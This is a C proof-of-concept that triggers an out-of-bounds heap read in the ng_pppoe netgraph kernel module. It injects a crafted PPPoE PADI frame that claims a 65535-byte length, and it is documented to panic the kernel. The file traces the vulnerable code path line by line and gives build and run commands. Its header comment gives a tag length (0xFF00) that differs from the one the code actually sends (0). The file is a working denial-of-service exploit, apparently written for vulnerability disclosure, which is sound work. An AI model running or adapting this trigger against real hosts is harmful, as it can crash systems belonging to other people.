/*
 * DF-0414 trigger: PPPoE discovery ph->length unchecked -> OOB heap read.
 *
 * This PoC injects a crafted PPPoE PADI discovery frame directly into a
 * netgraph ng_pppoe node's "ethernet" hook via an ng_socket. This is the
 * same code path that ng_pppoe_rcvdata_ether takes when a malicious frame
 * arrives on a real NIC that an admin has wired up to ng_pppoe for PPPoE
 * service (the realistic attack: an adjacent network peer sends a single
 * packet to a host running PPPoE).
 *
 * The frame:
 *   - Ethernet dst=ff:ff:.., src=00:11:.., ether_type=0x8863 (PPPoE Disc)
 *   - PPPoE hdr: ver=1/type=1, code=0x09 (PADI), session=0, length=0xFFFF
 *   - One tag: tag_type=0x0001 (not PTT_SRV_NAME), tag_len=0xFF00
 *
 * What the kernel does:
 *   ng_pppoe_rcvdata()  (sys/netgraph/pppoe/ng_pppoe.c:881)
 *     -> hook->private == &privp->ethernet_hook           (:908)
 *     -> length = ntohs(wh->ph.length)  == 0xFFFF         (:925)
 *     -> case ETHERTYPE_PPPOE_DISC                        (:943)
 *        (m_pullup to m_pkthdr.len, then m_len==m_pkthdr.len)
 *     -> case PADI_CODE                                   (:971)
 *        -> get_tag(ph, PTT_SRV_NAME)                     (:980)
 *           -> end = &ph->tag[0] + 65535                  (:286,:275)
 *           -> walk: pt=tag[0], tag_type=0x0001 (no match)
 *              ptn = pt + 4 + 0xFF00 = &tag[0]+0xFF04     (:297)
 *              ptn > end ? NO                            (:298)
 *              pt = ptn = &tag[0]+0xFF04                 (:304)
 *           -> iter2: pt is ~64KB past mbuf
 *              while((pt+1) <= end)  -> TRUE
 *              ptn = (pt+1) + ntohs(pt->tag_len)         (:297)
 *                 *** OOB HEAP READ at pt->tag_type/len ***
 *                 -> page fault if unmapped, else garbage
 *
 * Build:
 *   cc -o trigger trigger.c -lnetgraph
 *
 * Run:
 *   ./trigger
 *     (will panic the kernel if ng_pppoe is reachable; otherwise reports
 *     the data-send status before the panic)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netgraph.h>            /* userland libnetgraph API */
#include <netgraph/ng_message.h>
#include <arpa/inet.h>           /* htons */

/* Ethernet + PPPoE layout (matches sys/netgraph/pppoe/ng_pppoe.h struct
 * pppoe_full_hdr). We build the frame manually so we can choose ph->length
 * independent of the real payload size. */
struct eth_hdr {
    unsigned char dst[6];
    unsigned char src[6];
    unsigned short ether_type;     /* host order, we htons() */
};

struct pppoe_hdr {
    unsigned char ver_type;        /* (ver<<4)|type == 0x11 */
    unsigned char code;            /* PADI_CODE == 0x09 */
    unsigned short session;        /* 0 */
    unsigned short length;         /* the bug: claim 0xFFFF */
};

struct pppoe_tag_hdr {
    unsigned short tag_type;       /* network order */
    unsigned short tag_len;        /* network order */
};

#define ETHERTYPE_PPPOE_DISC 0x8863
#define PADI_CODE            0x09

int main(void) {
    int cs = -1, ds = -1;
    int rc;
    NgSetErrLog(printf, printf);

    /* Create an ng_socket node: cs=control, ds=data */
    rc = NgMkSockNode(NULL, &cs, &ds);
    if (rc < 0) {
        fprintf(stderr, "NgMkSockNode failed: %s\n", strerror(errno));
        fprintf(stderr, "(does ng_socket need kldload? run: kldload ng_socket)\n");
        return 2;
    }
    fprintf(stderr, "[+] ng_socket node created (cs=%d ds=%d)\n", cs, ds);

    /* Make peer: ng_pppoe node connected as mydata <-> pppoe:ethernet */
    struct ngm_mkpeer mp;
    memset(&mp, 0, sizeof(mp));
    strlcpy(mp.type,     "pppoe",  sizeof(mp.type));
    strlcpy(mp.ourhook,  "mydata", sizeof(mp.ourhook));
    strlcpy(mp.peerhook, "ethernet", sizeof(mp.peerhook));
    rc = NgSendMsg(cs, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mp, sizeof(mp));
    if (rc < 0) {
        fprintf(stderr, "NgSendMsg MKPEER failed: %s\n", strerror(errno));
        fprintf(stderr, "(does ng_pppoe need kldload? run: kldload ng_pppoe)\n");
        return 3;
    }
    fprintf(stderr, "[+] ng_pppoe peer created on hook 'mydata' <-> 'ethernet'\n");

    /* Build the malicious frame. */
    unsigned char frame[64];
    size_t flen = 0;

    /* Ethernet header */
    memset(frame, 0, sizeof(frame));
    memset(frame + 0, 0xff, 6);                 /* dst = broadcast */
    frame[6]=0x00; frame[7]=0x11; frame[8]=0x22;/* src = 00:11:22:33:44:55 */
    frame[9]=0x33; frame[10]=0x44; frame[11]=0x55;
    frame[12] = 0x88; frame[13] = 0x63;          /* ether_type = 0x8863 (PPPoE Disc) */
    flen = 14;

    /* PPPoE header: ver=1/type=1, code=PADI, session=0, length=0xFFFF */
    frame[14] = 0x11;                            /* ver=1, type=1 */
    frame[15] = PADI_CODE;                       /* PADI */
    frame[16] = 0x00; frame[17] = 0x00;          /* session=0 */
    frame[18] = 0xff; frame[19] = 0xff;          /* length=0xFFFF (the bug) */
    flen = 20;

    /* One tag: type=0x0001 (NOT PTT_SRV_NAME=0x0101), tag_len=0.
     * With ph->length=0xFFFF, end is 65535 bytes past &tag[0].
     * The walker advances pt by (4 + tag_len) = 4 per iteration, so it
     * must iterate ~16383 times to reach end. Each iteration reads 4
     * bytes of pt->tag_type/tag_len from OOB heap. With overwhelming
     * probability the walk crosses an unmapped page and panics. */
    struct pppoe_tag_hdr t;
    t.tag_type = htons(0x0001);
    t.tag_len  = htons(0x0000);
    memcpy(frame + flen, &t, sizeof(t));
    flen += sizeof(t);                           /* 24 bytes total */

    fprintf(stderr, "[+] Frame: %zu bytes; ph->length claims 65535\n", flen);
    fprintf(stderr, "[+] Injecting via NgSendData -> pppoe:ethernet ...\n");
    fprintf(stderr, "[!] If ng_pppoe is reachable, expect kernel panic now:\n");
    fprintf(stderr, "    Fatal trap 12: page fault while in kernel mode\n");
    fprintf(stderr, "    get_tag+0x.. in ng_pppoe\n");

    /* Send through our "mydata" hook -> pppoe:ethernet -> ng_pppoe_rcvdata_ether */
    rc = NgSendData(ds, "mydata", frame, flen);
    if (rc < 0) {
        fprintf(stderr, "NgSendData failed: %s\n", strerror(errno));
        return 4;
    }
    fprintf(stderr, "[+] NgSendData returned %d (frame delivered)\n", rc);
    fprintf(stderr, "[+] If you see this, the OOB read did NOT panic the kernel\n");
    fprintf(stderr, "    (it walked through mapped heap and returned/garbled).\n");

    /* Give the kernel a moment, then exit */
    sleep(1);
    return 0;
}
